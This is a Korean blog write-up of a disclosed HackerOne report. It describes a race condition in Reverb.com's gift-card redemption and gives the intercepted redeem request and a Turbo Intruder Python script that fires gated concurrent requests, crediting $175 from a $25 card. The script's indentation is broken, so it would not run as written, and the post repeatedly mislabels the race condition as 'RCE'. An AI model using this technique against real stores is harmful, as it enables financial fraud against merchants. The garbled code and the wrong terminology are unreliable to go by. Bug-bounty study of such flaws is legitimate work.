Hack The World

Turbo Intruder 사용 RCE 취약점 $1500 본문

BugBounty/Write up

Turbo Intruder 사용 RCE 취약점 $1500

Talkative 2020. 4. 25. 20:52

https://hackerone.com/reports/759247

 

Reverb.com disclosed on HackerOne: Race Condition allows to redeem...

Hello team! I've found a Race Condition vulnerability which allows to redeem gift cards multiple times. This how a s/he can easily buy stuff just bying one gift card and redeem it over and over again. ## Steps to reproduce ### Preparations - Burp Suite Pro

hackerone.com

공격자는 RCE, 즉 레이스컨디션 공격을 사용하여 여러번의 기프트 카드를 사용.

공격자는 RCE 를 진행하기위해 Turbo Intruder 를 사용(버프 BApp 추가기능)

 


공격 시나리오

- 로그인 진행

- 페이지에서 기프트 카드 구매

- https://sandbox.reverb.com/<lang>/reddem에서 요청을 인터셉트(기프트카드 등록 패킷) 

POST /fi/redeem HTTP/1.1
Host: sandbox.reverb.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sandbox.reverb.com/fi/redeem
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Connection: keep-alive
Cookie: <cookies>

utf8=%E2%9C%93&authenticity_token=<CSRF token>&token=<GIFT card>&commit=Redeem+Now

- 해당 요청을 Turbo Intruder에게 보냄

- 파이썬 코드를 터보 인트루더에서 사용

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

- 터보 인트루더에서 필요한 외부 HTTP header x-request: %s 를 설정

- 공격 진행

-200 OK 의 응답을 여러번 볼수 있다.

페이지에서 등록된 금액을 확인해보면 $25를 충전했지만 $175 충전이됨.

Comments